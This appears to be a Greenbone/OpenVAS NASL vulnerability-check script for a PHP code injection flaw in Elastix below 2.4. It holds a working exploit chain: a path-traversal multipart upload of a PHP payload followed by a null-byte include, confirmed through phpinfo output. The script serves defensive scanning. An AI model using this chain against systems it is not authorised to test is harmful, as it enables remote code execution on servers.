Elastix < 2.4 PHP Code Injection Vulnerability

# Copyright (C) 2013 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:elastix:elastix";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103638");
  script_version("2021-03-22T11:05:50+0000");
  script_tag(name:"cvss_base", value:"9.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:P/A:P");
  script_tag(name:"last_modification", value:"2021-03-22 11:05:50 +0000 (Mon, 22 Mar 2021)");
  script_tag(name:"creation_date", value:"2013-01-09 16:47:16 +0100 (Wed, 09 Jan 2013)");
  script_name("Elastix < 2.4 PHP Code Injection Vulnerability");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2013 Greenbone Networks GmbH");
  script_dependencies("gb_elastix_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("elastix/http/detected");

  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/119253/elastix23-exec.txt");

  script_tag(name:"summary", value:"Elastix is prone to a PHP code injection vulnerability
  because it fails to properly sanitize user-supplied input.");

  script_tag(name:"impact", value:"Attackers can exploit this issue to execute arbitrary
  PHP code within the context of the affected webserver process.");

  script_tag(name:"affected", value:"Elastix < 2.4 is vulnerable. Other versions may also
  be affected.");

  script_tag(name:"solution", value:"Update to version 2.4 or later.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

# nb: Don't use http_get_cache() because we want to have a valid (not outdated) cookie below.
req = http_get(item:dir + "/vtigercrm/index.php", port:port);
buf = http_keepalive_send_recv(port:port, data:req);

if(!buf || "Set-Cookie" >!< buf || "vtiger" >!< buf)
  exit(0);

cookie = eregmatch(pattern:"Set-Cookie: PHPSESSID=([^; ]+)", string:buf);
if(isnull(cookie[1]))
  exit(0);

co = cookie[1];
host = http_host_name(port:port);

req = string("POST ", dir, "/vtigercrm/graph.php?module=../modules/Settings&action=savewordtemplate HTTP/1.1\r\n",
"Host: ", host, "\r\n",
"Accept: */*\r\n",
"Content-Length: 477\r\n",
"Cookie: PHPSESSID=", co, "\r\n",
"Expect: 100-continue\r\n",
"Content-Type: multipart/form-data; boundary=----------------------------ac484ab8c486\r\n",
"\r\n",
"------------------------------ac484ab8c486\r\n",
'Content-Disposition: form-data; name="binFile"; filename="xy.txt"', "\r\n",
"Content-Type: application/octet-stream\r\n",
"\r\n",
'<?eval(phpinfo()); ?>', "\r\n",
"------------------------------ac484ab8c486--");

buf = http_send_recv(port:port, data:req);
if(!buf || buf !~ "^HTTP/1\.[01] 100")
  exit(0);

url = string(dir, "/vtigercrm/graph.php?module=../test/upload&action=xy.txt%00");
req = string("POST ", url, " HTTP/1.1\r\n",
"Host: ", host, "\r\n",
"Accept: */*\r\n",
"Cookie: PHPSESSID=", co, "\r\n",
"Content-Length: 0\r\n",
"Content-Type: application/x-www-form-urlencoded\r\n\r\n");

buf = http_keepalive_send_recv(port:port, data:req);
if(buf && "<title>phpinfo()" >< buf) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);